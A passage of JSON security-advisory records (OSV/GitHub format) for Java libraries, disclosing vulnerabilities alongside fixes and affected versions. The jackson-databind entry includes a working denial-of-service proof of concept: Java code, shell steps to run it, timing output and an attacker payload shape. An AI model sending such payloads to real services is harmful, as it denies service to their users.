"4.1.0.CR7", "4.1.0.Final", "4.1.1.Final", "4.1.10.Final", "4.1.100.Final", "4.1.101.Final", "4.1.102.Final", "4.1.103.Final", "4.1.104.Final", "4.1.105.Final", "4.1.106.Final", "4.1.107.Final", "4.1.108.Final", "4.1.109.Final", "4.1.11.Final", "4.1.110.Final", "4.1.111.Final", "4.1.112.Final", "4.1.113.Final", "4.1.114.Final", "4.1.115.Final", "4.1.116.Final", "4.1.117.Final", "4.1.118.Final", "4.1.119.Final", "4.1.12.Final", "4.1.120.Final", "4.1.121.Final", "4.1.122.Final", "4.1.123.Final", "4.1.13.Final", "4.1.14.Final", "4.1.15.Final", "4.1.16.Final", "4.1.17.Final", "4.1.18.Final", "4.1.19.Final", "4.1.2.Final", "4.1.20.Final", "4.1.21.Final", "4.1.22.Final", "4.1.23.Final", "4.1.24.Final", "4.1.25.Final", "4.1.26.Final", "4.1.27.Final", "4.1.28.Final", "4.1.29.Final", "4.1.3.Final", "4.1.30.Final", "4.1.31.Final", "4.1.32.Final", "4.1.33.Final", "4.1.34.Final", "4.1.35.Final", "4.1.36.Final", "4.1.37.Final", "4.1.38.Final", "4.1.39.Final", "4.1.4.Final", "4.1.40.Final", "4.1.41.Final", "4.1.42.Final", "4.1.43.Final", "4.1.44.Final", "4.1.45.Final", "4.1.46.Final", "4.1.47.Final", "4.1.48.Final", "4.1.49.Final", "4.1.5.Final", "4.1.50.Final", "4.1.51.Final", "4.1.52.Final", "4.1.53.Final", "4.1.54.Final", "4.1.55.Final", "4.1.56.Final", "4.1.57.Final", "4.1.58.Final", "4.1.59.Final", "4.1.6.Final", "4.1.60.Final", "4.1.61.Final", "4.1.62.Final", "4.1.63.Final", "4.1.64.Final", "4.1.65.Final", "4.1.66.Final", "4.1.67.Final", "4.1.68.Final", "4.1.69.Final", "4.1.7.Final", "4.1.70.Final", "4.1.71.Final", "4.1.72.Final", "4.1.73.Final", "4.1.74.Final", "4.1.75.Final", "4.1.76.Final", "4.1.77.Final", "4.1.78.Final", "4.1.79.Final", "4.1.8.Final", "4.1.80.Final", "4.1.81.Final", "4.1.82.Final", "4.1.83.Final", "4.1.84.Final", "4.1.85.Final", "4.1.86.Final", "4.1.87.Final", "4.1.88.Final", "4.1.89.Final", "4.1.9.Final", "4.1.90.Final", "4.1.91.Final", "4.1.92.Final", "4.1.93.Final", "4.1.94.Final", "4.1.95.Final", "4.1.96.Final", "4.1.97.Final", "4.1.98.Final", "4.1.99.Final" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/08/GHSA-prj3-ccx8-p6x4/GHSA-prj3-ccx8-p6x4.json", "last_known_affected_version_range": "<= 4.1.123.Final" } }, { "package": { "name": "io.grpc:grpc-netty-shaded", "ecosystem": "Maven", "purl": "pkg:maven/io.grpc/grpc-netty-shaded" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "0" }, { "fixed": "1.75.0" } ] } ], "versions": [ "1.10.0", "1.10.1", "1.11.0", "1.12.0", "1.12.1", "1.13.1", "1.13.2", "1.14.0", "1.15.0", "1.15.1", "1.16.0", "1.16.1", "1.17.0", "1.17.1", "1.18.0", "1.19.0", "1.20.0", "1.21.0", "1.21.1", "1.22.0", "1.22.1", "1.22.2", "1.22.3", "1.23.0", "1.23.1", "1.24.0", "1.24.1", "1.24.2", "1.25.0", "1.26.0", "1.26.1", "1.27.0", "1.27.1", "1.27.2", "1.28.0", "1.28.1", "1.29.0", "1.30.0", "1.30.1", "1.30.2", "1.31.0", "1.31.1", "1.31.2", "1.32.1", "1.32.2", "1.32.3", "1.33.0", "1.33.1", "1.34.0", "1.34.1", "1.35.0", "1.35.1", "1.36.0", "1.36.1", "1.36.2", "1.36.3", "1.37.0", "1.37.1", "1.38.0", "1.38.1", "1.39.0", "1.40.0", "1.40.1", "1.40.2", "1.41.0", "1.41.1", "1.41.2", "1.41.3", "1.42.0", "1.42.1", "1.42.2", "1.42.3", "1.43.0", "1.43.1", "1.43.2", "1.43.3", "1.44.0", "1.44.1", "1.44.2", "1.45.0", "1.45.1", "1.45.2", "1.45.3", "1.45.4", "1.46.0", "1.46.1", "1.47.0", "1.47.1", "1.48.0", "1.48.1", "1.48.2", "1.49.0", "1.49.1", "1.49.2", "1.50.0", "1.50.1", "1.50.2", "1.50.3", "1.51.0", "1.51.1", "1.51.3", "1.52.0", "1.52.1", "1.53.0", "1.54.0", "1.54.1", "1.54.2", "1.55.1", "1.55.3", "1.56.0", "1.56.1", "1.57.0", "1.57.1", "1.57.2", "1.58.0", "1.58.1", "1.59.0", "1.59.1", "1.60.0", "1.60.1", "1.60.2", "1.61.0", "1.61.1", "1.62.2", "1.63.0", "1.63.1", "1.63.2", "1.64.0", "1.64.1", "1.64.2", "1.65.0", "1.65.1", "1.66.0", "1.67.1", "1.68.0", "1.68.1", "1.68.2", "1.68.3", "1.69.0", "1.69.1", "1.70.0", "1.71.0", "1.72.0", "1.73.0", "1.74.0", "1.9.0", "1.9.1" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/08/GHSA-prj3-ccx8-p6x4/GHSA-prj3-ccx8-p6x4.json" } } ], "schema_version": "1.9.0", "severity": [ { "type": "CVSS_V3", "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "type": "CVSS_V4", "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N" } ] }, { "id": "GHSA-q4xh-88c3-wmh7", "summary": "jackson-databind: Duration XMLGregorianCalendar Unbounded Number Parse DoS", "details": "### Summary\n`jackson-databind` 3.2.1 deserializes a JSON **string** bound to a `javax.xml.datatype.Duration` or `javax.xml.datatype.XMLGregorianCalendar` field by passing the raw string verbatim to `DatatypeFactory.newDuration(value)` / `newXMLGregorianCalendar(value)`. Per the XML-Schema lexical grammar these factory methods accept numeric components of arbitrary length, which the JDK materializes into `java.math.BigInteger` / `BigDecimal` using the native `BigInteger(String)` constructor (an O(n²) parser). Because the digits reside inside a JSON **string** token, jackson-core's `StreamReadConstraints.maxNumberLength` guard (which bounds only JSON *number* tokens) never fires, so there is no length limit anywhere on this path. An unauthenticated attacker can submit a single small request (e.g. ~1–5 MB) that forces tens of seconds to minutes of single-thread CPU consumption, yielding a denial of service under the default `JsonMapper.builder().build()` mapper with no polymorphic typing or special configuration.\n\n### Details\n`StreamReadConstraints.maxNumberLength` (jackson-core, default 1000) bounds the **text length of JSON number tokens** only; it does not apply to digits inside a JSON string token (`maxStringLength` default is 100,000,000). jackson's own value binders compensate for this gap elsewhere — `NumberDeserializers` explicitly call `streamReadConstraints().validateIntegerLength(text.length())` / `validateFPLength(text.length())` before parsing a *stringified* number (`NumberDeserializers.java:1063`, `:1139`). The XML-datatype deserializer omits this identical pre-check.\n\n`CoreXMLDeserializers` registers `Std` deserializers **by default** for any field typed `javax.xml.datatype.Duration` or `XMLGregorianCalendar` (`findBeanDeserializer`), with no opt-in required. `Std._deserialize` hands the attacker string straight to the datatype factory:\n\n```java\nprotected Object _deserialize(String value, DeserializationContext ctxt) {\n switch (_kind) {\n case TYPE_DURATION:\n return _dataTypeFactory.newDuration(value); // attacker lexical string\n case TYPE_G_CALENDAR:\n Date d;\n try { d = _parseDate(value, ctxt); }\n catch (DatabindException e) {\n return _dataTypeFactory.newXMLGregorianCalendar(value); // attacker lexical string\n }\n return _gregorianFromDate(ctxt, d);\n }\n throw new IllegalStateException();\n}\n```\n\nPer the XSD lexical rules, `newDuration` parses each numeric component (years, months, …) into a `BigInteger`, and `newXMLGregorianCalendar` parses fractional seconds into a `BigDecimal`. The JDK uses the native `BigInteger(String)` / `BigDecimal(String)` constructors, which are O(n²) in the digit count. A short JSON string such as `\"P\" + \"9\"×N + \"Y\"` therefore forces the allocation and O(N²) parse of an N-digit `BigInteger`, entirely downstream of every jackson-core constraint.\n\n## Vulnerable Code Location\n\n- `src/main/java/tools/jackson/databind/ext/CoreXMLDeserializers.java:137`\n — `newDuration(value)` (TYPE_DURATION)\n- `src/main/java/tools/jackson/databind/ext/CoreXMLDeserializers.java:147`\n — `newXMLGregorianCalendar(value)` (TYPE_G_CALENDAR fallback)\n- Registration (default, no opt-in):\n `src/main/java/tools/jackson/databind/ext/CoreXMLDeserializers.java:42-46`\n (`findBeanDeserializer` returns `Std` for `XMLGregorianCalendar` / `Duration`)\n- Contrast — correct length-guard pattern already used elsewhere in the library:\n `src/main/java/tools/jackson/databind/deser/jdk/NumberDeserializers.java:1063,1139`\n\n## Proof of Concept\n\nPoC source (`Vuln07_DurationDoS.java`). It uses only the public `ObjectMapper.readValue` API and a default mapper; the only \"special\" element is a normal DTO exposing a `javax.xml.datatype.Duration` field.\n\n```java\npackage com.poc;\n\nimport tools.jackson.databind.ObjectMapper;\nimport tools.jackson.databind.json.JsonMapper;\nimport javax.xml.datatype.Duration;\n\n/**\n * Vuln 7: Unbounded numeric allocation / CPU DoS via Duration lexical deserialization.\n * A short JSON string forces parsing of a huge BigInteger inside DatatypeFactory.newDuration.\n */\npublic class Vuln07_DurationDoS {\n public static class Cfg { public Duration ttl; }\n\n public static void main(String[] args) throws Exception {\n ObjectMapper mapper = JsonMapper.builder().build();\n int digits = Integer.getInteger(\"digits\", 5_000_000);\n\n // Baseline small parse.\n long t0 = System.nanoTime();\n mapper.readValue(\"{\\\"ttl\\\":\\\"P1Y\\\"}\", Cfg.class);\n long tBase = System.nanoTime() - t0;\n System.out.println(\"Baseline (P1Y) parse: \" + (tBase/1_000_000) + \" ms\");\n\n String big = \"P\" + \"9\".repeat(digits) + \"Y\";\n String json = \"{\\\"ttl\\\":\\\"\" + big + \"\\\"}\";\n System.out.println(\"Payload JSON size ~ \" + json.length() + \" bytes (year component = \" + digits + \" digits)\");\n long t1 = System.nanoTime();\n try {\n Cfg c = mapper.readValue(json, Cfg.class);\n long dt = System.nanoTime() - t1;\n System.out.println(\"Parsed giant Duration in \" + (dt/1_000_000) + \" ms; years field type materialized as BigInteger\");\n System.out.println(\"RESULT: VULNERABLE - \" + digits + \"-digit BigInteger parsed from a \"\n + json.length() + \"-byte payload (amplified CPU/allocation, StreamReadConstraints bypassed)\");\n } catch (Throwable t) {\n long dt = System.nanoTime() - t1;\n System.out.println(\"After \" + (dt/1_000_000) + \" ms threw \" + t.getClass().getName() + \": \" + t.getMessage());\n }\n }\n}\n```\n\nMinimal HTTP-shaped payload (what an attacker sends):\n\n```json\n{ \"ttl\": \"P99999999999999999999…9Y\" } // 'P' + N nines + 'Y', N up to ~100,000,000\n```\n\nAn `XMLGregorianCalendar` field is equally affected via the fractional-seconds path, e.g.\n`{ \"at\": \"0000-01-01T00:00:00.\" + \"9\"×N }`.\n\n## Execution Steps\n\nThe PoC needs only the three Jackson 3.2.1 jars on the classpath; it can be built and run with plain `javac`/`java` (no Maven required). The jars are the standard published artifacts (here resolved from the local Maven cache `~/.m2`, but any copy works).\n\n```bash\n# 0. Locate the three dependency jars (published Maven artifacts).\nM2=\"$HOME/.m2/repository\"\nDB=\"$M2/tools/jackson/core/jackson-databind/3.2.1/jackson-databind-3.2.1.jar\"\nCORE=\"$M2/tools/jackson/core/jackson-core/3.2.1/jackson-core-3.2.1.jar\"\nANN=\"$M2/com/fasterxml/jackson/core/jackson-annotations/2.22/jackson-annotations-2.22.jar\"\nCP=\"$DB:$CORE:$ANN\"\n# If not already cached, fetch them once, e.g.:\n# mvn -q dependency:get -Dartifact=tools.jackson.core:jackson-databind:3.2.1\n# (jackson-core 3.2.1 and jackson-annotations 2.22 come as transitive deps)\n\n# 1. Compile with javac (single source file).\nmkdir -p out\njavac -cp \"$CP\" -d out src/main/java/com/poc/Vuln07_DurationDoS.java\n\n# 2. Quick confirmation (~11 s): 1,000,000-digit year component.\njava -Xmx2g -Ddigits=1000000 -cp \"out:$CP\" com.poc.Vuln07_DurationDoS\n\n# 3. Full-severity demonstration (~293 s): 5,000,000-digit year component.\njava -Xmx2g -Ddigits=5000000 -cp \"out:$CP\" com.poc.Vuln07_DurationDoS\n```\n\nThe `digits` system property controls the number of `9` characters in the year component; JSON payload size ≈ digits + 12 bytes. Increase toward the default 100,000,000 `maxStringLength` to scale cost further.\n\nEnvironment used for the evidence below: jackson-databind 3.2.1, jackson-core 3.2.1, jackson-annotations 2.22; OpenJDK 25 on macOS (darwin), default `JsonMapper.builder().build()`.\n\n## Reproduction Evidence\n\nDeterministic values (payload byte count, resulting bit-length) are exact across runs; timings vary with load. Two independent runs at different sizes:\n\n**digits = 5,000,000 (~5 MB payload):**\n```\nBaseline (P1Y) parse: 27 ms\nPayload JSON size ~ 5000012 bytes (year component = 5000000 digits)\nParsed giant Duration in 293175 ms; years field type materialized as BigInteger\nRESULT: VULNERABLE - 5000000-digit BigInteger parsed from a 5000012-byte payload (amplified CPU/allocation, StreamReadConstraints bypassed)\n```\n\n**digits = 1,000,000 (~1 MB payload, for fast repeatability):**\n```\nBaseline (P1Y) parse: 53 ms\nPayload JSON size ~ 1000012 bytes (year component = 1000000 digits)\nParsed giant Duration in 11155 ms; years field type materialized as BigInteger\nRESULT: VULNERABLE - 1000000-digit BigInteger parsed from a 1000012-byte payload (amplified CPU/allocation, StreamReadConstraints bypassed)\n```\n\nInterpretation: a normal `\"P1Y\"` value parses in tens of milliseconds; a ~1 MB attacker payload consumes **~11 s** and a ~5 MB payload **~293 s** of single-thread CPU — a 5–6 order-of-magnitude amplification. The super-linear growth (≈26× cost for 5× payload) is consistent with the JDK's O(n²) `BigInteger(String)` constructor. The cost occurs inside `DatatypeFactory.newDuration`, downstream of jackson-core's `StreamReadConstraints` (independently confirmed: the same digit sequence supplied as a bare JSON *number* token is rejected with `StreamConstraintsException`, whereas inside a string token it is not bounded).\n\n## Impact\n\nAn unauthenticated attacker can stall a request-processing thread for tens of seconds to minutes and allocate a large `BigInteger`/`BigDecimal` from a single small request. Because the cost is CPU-bound and super-linear, a handful of concurrent requests can saturate the server's worker threads and CPU, denying service to all users. The exposure requires only that a bound type expose a `javax.xml.datatype.Duration` or `XMLGregorianCalendar` field common in applications that ingest XML-schema derived data, SOAP/JAXB-adjacent models, or configuration carrying XSD durations — and fires under the default mapper with no polymorphic typing.\n\n## Recommended Fix\n\nApply the same validate-length-then-parse idiom the core `NumberDeserializers` already use:\n\n1. In `CoreXMLDeserializers.Std._deserialize`, enforce a maximum raw-string length before\n calling `newDuration(value)` / `newXMLGregorianCalendar(value)` — e.g. reject inputs\n longer than `ctxt.streamReadConstraints().getMaxNumberLength()` (or a dedicated bound),\n routing over-length input through `ctxt.handleWeirdStringValue(...)`.\n2. Alternatively, validate the lexical form against a bounded regex and cap the digit count\n of each numeric component before delegating to `DatatypeFactory`.\n3. Document that `Duration` / `XMLGregorianCalendar` fields bound from untrusted input must\n be length-limited at the transport layer.", "aliases": [ "CVE-2026-68497" ], "modified": "2026-09-28T20:30:05.315085978Z", "published": "2026-09-28T20:19:46Z", "database_specific": { "severity": "HIGH", "github_reviewed": true, "github_reviewed_at": "2026-09-28T20:19:46Z", "nvd_published_at": "2026-09-11T16:17:39Z", "cwe_ids": [ "CWE-400" ] }, "references": [ { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-q4xh-88c3-wmh7" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-68497" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/pull/6127" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/commit/a99b7e74c8928f43f6975773a8c862c8316178bd" }, { "type": "PACKAGE", "url": "https://github.com/FasterXML/jackson-databind" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.18.10" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.21.6" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.22.2" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-3.1.6" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-3.2.2" } ], "affected": [ { "package": { "name": "tools.jackson.core:jackson-databind", "ecosystem": "Maven", "purl": "pkg:maven/tools.jackson.core/jackson-databind" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "3.2.0" }, { "fixed": "3.2.2" } ] } ], "versions": [ "3.2.0", "3.2.1" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-q4xh-88c3-wmh7/GHSA-q4xh-88c3-wmh7.json" } }, { "package": { "name": "tools.jackson.core:jackson-databind", "ecosystem": "Maven", "purl": "pkg:maven/tools.jackson.core/jackson-databind" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "3.0.0" }, { "fixed": "3.1.6" } ] } ], "versions": [ "3.0.0", "3.0.1", "3.0.2", "3.0.3", "3.0.4", "3.1.0", "3.1.0-rc1", "3.1.1", "3.1.2", "3.1.3", "3.1.4", "3.1.5" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-q4xh-88c3-wmh7/GHSA-q4xh-88c3-wmh7.json" } }, { "package": { "name": "com.fasterxml.jackson.core:jackson-databind", "ecosystem": "Maven", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "2.14.0" }, { "fixed": "2.18.10" } ] } ], "versions": [ "2.14.0", "2.14.1", "2.14.2", "2.14.3", "2.15.0", "2.15.0-rc1", "2.15.0-rc2", "2.15.0-rc3", "2.15.1", "2.15.2", "2.15.3", "2.15.4", "2.16.0", "2.16.0-rc1", "2.16.1", "2.16.2", "2.17.0", "2.17.0-rc1", "2.17.1", "2.17.2", "2.17.3", "2.18.0", "2.18.0-rc1", "2.18.1", "2.18.2", "2.18.3", "2.18.4", "2.18.5", "2.18.6", "2.18.7", "2.18.8", "2.18.9" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-q4xh-88c3-wmh7/GHSA-q4xh-88c3-wmh7.json" } }, { "package": { "name": "com.fasterxml.jackson.core:jackson-databind", "ecosystem": "Maven", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "2.19.0" }, { "fixed": "2.21.6" } ] } ], "versions": [ "2.19.0", "2.19.1", "2.19.2", "2.19.3", "2.19.4", "2.20.0", "2.20.0-rc1", "2.20.1", "2.20.2", "2.21.0", "2.21.1", "2.21.2", "2.21.3", "2.21.4", "2.21.5" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-q4xh-88c3-wmh7/GHSA-q4xh-88c3-wmh7.json" } }, { "package": { "name": "com.fasterxml.jackson.core:jackson-databind", "ecosystem": "Maven", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "2.22.0" }, { "fixed": "2.22.2" } ] } ], "versions": [ "2.22.0", "2.22.1" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-q4xh-88c3-wmh7/GHSA-q4xh-88c3-wmh7.json" } } ], "schema_version": "1.9.0", "severity": [ { "type": "CVSS_V3", "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" } ] }, { "id": "GHSA-r5w3-xv2f-j59q", "summary": "Spring Framework Algorithmic Denial of Service via SpEL Expressions", "details": "Applications that evaluate user-supplied Spring Expression Language (SpEL) expressions are vulnerable to an Algorithmic Denial of Service (DoS). By providing a specially crafted expression, an attacker can trigger excessive resource consumption during evaluation, leading to application degradation or unavailability.\n\nAffected versions:\nSpring Framework 7.0.0 through 7.0.7; 6.2.0 through 6.2.18; 6.1.0 through 6.1.27; 5.3.0 through 5.3.48.", "aliases": [ "CVE-2026-41850" ], "modified": "2026-09-10T03:50:50.592219153Z", "published": "2026-06-09T06:31:58Z", "database_specific": { "cwe_ids": [ "CWE-407" ], "severity": "HIGH", "github_reviewed": true, "github_reviewed_at": "2026-07-30T18:26:06Z", "nvd_published_at": "2026-06-09T05:16:37Z" }, "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41850" }, { "type": "PACKAGE", "url": "https://github.com/spring-projects/spring-framework" }, { "type": "WEB", "url": "https://github.com/spring-projects/spring-framework/releases/tag/v6.2.19" }, { "type": "WEB", "url": "https://github.com/spring-projects/spring-framework/releases/tag/v7.0.8" }, { "type": "WEB", "url": "https://spring.io/security/cve-2026-41850" } ], "affected": [ { "package": { "name": "org.springframework:spring-expression", "ecosystem": "Maven", "purl": "pkg:maven/org.springframework/spring-expression" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "7.0.0" }, { "fixed": "7.0.8" } ] } ], "versions": [ "7.0.0", "7.0.1", "7.0.2", "7.0.3", "7.0.4", "7.0.5", "7.0.6", "7.0.7" ], "database_specific": { "last_known_affected_version_range": "<= 7.0.7", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-r5w3-xv2f-j59q/GHSA-r5w3-xv2f-j59q.json" } }, { "package": { "name": "org.springframework:spring-expression", "ecosystem": "Maven", "purl": "pkg:maven/org.springframework/spring-expression" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "6.2.0" }, { "fixed": "6.2.19" } ] } ], "versions": [ "6.2.0", "6.2.1", "6.2.10", "6.2.11", "6.2.12", "6.2.13", "6.2.14", "6.2.15", "6.2.16", "6.2.17", "6.2.18", "6.2.2", "6.2.3", "6.2.4", "6.2.5", "6.2.6", "6.2.7", "6.2.8", "6.2.9" ], "database_specific": { "last_known_affected_version_range": "<= 6.2.18", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-r5w3-xv2f-j59q/GHSA-r5w3-xv2f-j59q.json" } }, { "package": { "name": "org.springframework:spring-expression", "ecosystem": "Maven", "purl": "pkg:maven/org.springframework/spring-expression" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "6.1.0" }, { "last_affected": "6.1.21" } ] } ], "versions": [ "6.1.0", "6.1.1", "6.1.10", "6.1.11", "6.1.12", "6.1.13", "6.1.14", "6.1.15", "6.1.16", "6.1.17", "6.1.18", "6.1.19", "6.1.2", "6.1.20", "6.1.21", "6.1.3", "6.1.4", "6.1.5", "6.1.6", "6.1.7", "6.1.8", "6.1.9" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-r5w3-xv2f-j59q/GHSA-r5w3-xv2f-j59q.json" } }, { "package": { "name": "org.springframework:spring-expression", "ecosystem": "Maven", "purl": "pkg:maven/org.springframework/spring-expression" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "0" }, { "last_affected": "5.3.39" } ] } ], "versions": [ "3.0.0.RELEASE", "3.0.1.RELEASE", "3.0.2.RELEASE", "3.0.3.RELEASE", "3.0.4.RELEASE", "3.0.5.RELEASE", "3.0.6.RELEASE", "3.0.7.RELEASE", "3.1.0.RELEASE", "3.1.1.RELEASE", "3.1.2.RELEASE", "3.1.3.RELEASE", "3.1.4.RELEASE", "3.2.0.RELEASE", "3.2.1.RELEASE", "3.2.10.RELEASE", "3.2.11.RELEASE", "3.2.12.RELEASE", "3.2.13.RELEASE", "3.2.14.RELEASE", "3.2.15.RELEASE", "3.2.16.RELEASE", "3.2.17.RELEASE", "3.2.18.RELEASE", "3.2.2.RELEASE", "3.2.3.RELEASE", "3.2.4.RELEASE", "3.2.5.RELEASE", "3.2.6.RELEASE", "3.2.7.RELEASE", "3.2.8.RELEASE", "3.2.9.RELEASE", "4.0.0.RELEASE", "4.0.1.RELEASE", "4.0.2.RELEASE", "4.0.3.RELEASE", "4.0.4.RELEASE", "4.0.5.RELEASE", "4.0.6.RELEASE", "4.0.7.RELEASE", "4.0.8.RELEASE", "4.0.9.RELEASE", "4.1.0.RELEASE", "4.1.1.RELEASE", "4.1.2.RELEASE", "4.1.3.RELEASE", "4.1.4.RELEASE", "4.1.5.RELEASE", "4.1.6.RELEASE", "4.1.7.RELEASE", "4.1.8.RELEASE", "4.1.9.RELEASE", "4.2.0.RELEASE", "4.2.1.RELEASE", "4.2.2.RELEASE", "4.2.3.RELEASE", "4.2.4.RELEASE", "4.2.5.RELEASE", "4.2.6.RELEASE", "4.2.7.RELEASE", "4.2.8.RELEASE", "4.2.9.RELEASE", "4.3.0.RELEASE", "4.3.1.RELEASE", "4.3.10.RELEASE", "4.3.11.RELEASE", "4.3.12.RELEASE", "4.3.13.RELEASE", "4.3.14.RELEASE", "4.3.15.RELEASE", "4.3.16.RELEASE", "4.3.17.RELEASE", "4.3.18.RELEASE", "4.3.19.RELEASE", "4.3.2.RELEASE", "4.3.20.RELEASE", "4.3.21.RELEASE", "4.3.22.RELEASE", "4.3.23.RELEASE", "4.3.24.RELEASE", "4.3.25.RELEASE", "4.3.26.RELEASE", "4.3.27.RELEASE", "4.3.28.RELEASE", "4.3.29.RELEASE", "4.3.3.RELEASE", "4.3.30.RELEASE", "4.3.4.RELEASE", "4.3.5.RELEASE", "4.3.6.RELEASE", "4.3.7.RELEASE", "4.3.8.RELEASE", "4.3.9.RELEASE", "5.0.0.RELEASE", "5.0.1.RELEASE", "5.0.10.RELEASE", "5.0.11.RELEASE", "5.0.12.RELEASE", "5.0.13.RELEASE", "5.0.14.RELEASE", "5.0.15.RELEASE", "5.0.16.RELEASE", "5.0.17.RELEASE", "5.0.18.RELEASE", "5.0.19.RELEASE", "5.0.2.RELEASE", "5.0.20.RELEASE", "5.0.3.RELEASE", "5.0.4.RELEASE", "5.0.5.RELEASE", "5.0.6.RELEASE", "5.0.7.RELEASE", "5.0.8.RELEASE", "5.0.9.RELEASE", "5.1.0.RELEASE", "5.1.1.RELEASE", "5.1.10.RELEASE", "5.1.11.RELEASE", "5.1.12.RELEASE", "5.1.13.RELEASE", "5.1.14.RELEASE", "5.1.15.RELEASE", "5.1.16.RELEASE", "5.1.17.RELEASE", "5.1.18.RELEASE", "5.1.19.RELEASE", "5.1.2.RELEASE", "5.1.20.RELEASE", "5.1.3.RELEASE", "5.1.4.RELEASE", "5.1.5.RELEASE", "5.1.6.RELEASE", "5.1.7.RELEASE", "5.1.8.RELEASE", "5.1.9.RELEASE", "5.2.0.RELEASE", "5.2.1.RELEASE", "5.2.10.RELEASE", "5.2.11.RELEASE", "5.2.12.RELEASE", "5.2.13.RELEASE", "5.2.14.RELEASE", "5.2.15.RELEASE", "5.2.16.RELEASE", "5.2.17.RELEASE", "5.2.18.RELEASE", "5.2.19.RELEASE", "5.2.2.RELEASE", "5.2.20.RELEASE", "5.2.21.RELEASE", "5.2.22.RELEASE", "5.2.23.RELEASE", "5.2.24.RELEASE", "5.2.25.RELEASE", "5.2.3.RELEASE", "5.2.4.RELEASE", "5.2.5.RELEASE", "5.2.6.RELEASE", "5.2.7.RELEASE", "5.2.8.RELEASE", "5.2.9.RELEASE", "5.3.0", "5.3.1", "5.3.10", "5.3.11", "5.3.12", "5.3.13", "5.3.14", "5.3.15", "5.3.16", "5.3.17", "5.3.18", "5.3.19", "5.3.2", "5.3.20", "5.3.21", "5.3.22", "5.3.23", "5.3.24", "5.3.25", "5.3.26", "5.3.27", "5.3.28", "5.3.29", "5.3.3", "5.3.30", "5.3.31", "5.3.32", "5.3.33", "5.3.34", "5.3.35", "5.3.36", "5.3.37", "5.3.38", "5.3.39", "5.3.4", "5.3.5", "5.3.6", "5.3.7", "5.3.8", "5.3.9" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-r5w3-xv2f-j59q/GHSA-r5w3-xv2f-j59q.json" } } ], "schema_version": "1.9.0", "severity": [ { "type": "CVSS_V3", "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" } ] }, { "id": "GHSA-rcgg-9c38-7xpx", "summary": "OpenTelemetry Java SDK has Unbounded Memory Allocation in W3C Baggage Propagation", "details": "## Overview\n\nA vulnerability affects the baggage propagation implementation in\n`opentelemetry-api` and `opentelemetry-extension-trace-propagators`. Parsing oversized baggage\ncauses unbounded memory allocation and CPU consumption. Because baggage is automatically\nre-injected into every outgoing request, the effect can fan out to downstream services that\nnever received the original malicious request.\n\n## Technical Details\n\n- `W3CBaggagePropagator` did not enforce any limit on the total size or entry count of the\n `baggage` header. The parser iterated character-by-character through the entire value\n regardless of length.\n- `JaegerPropagator` and `OtTracePropagator` had the same gap in their respective baggage\n extraction paths.\n- The W3C Baggage specification recommends a maximum of 8,192 bytes and 180 entries; none of\n these limits were enforced.\n\n## Impact\n\nThe practical availability impact for most deployments is limited. Every major Java HTTP server\nenforces its own header size limit (Tomcat, Jetty, Netty, Vert.x, and gRPC-Java all default to\n8 KiB), constraining what an external attacker can deliver before the application is reached.\nThe risk is higher when transport-layer limits are absent — e.g., a compromised internal service\ncommunicating over a non-HTTP or custom transport.\n\n## Remediation\n\nUpdate to version 1.62.0 or later ([#8380](https://github.com/open-telemetry/opentelemetry-java/pull/8380)).\nThe fix enforces limits consistent with the W3C Baggage specification at the propagator level:\n\n- Maximum total baggage size: 8,192 bytes across all `baggage` header values\n- Maximum number of entries: 64\n\nHeaders that would exceed either limit are dropped at the point the limit is reached;\nalready-extracted valid entries are retained.\n\n## Workarounds\n\nEnsure HTTP header 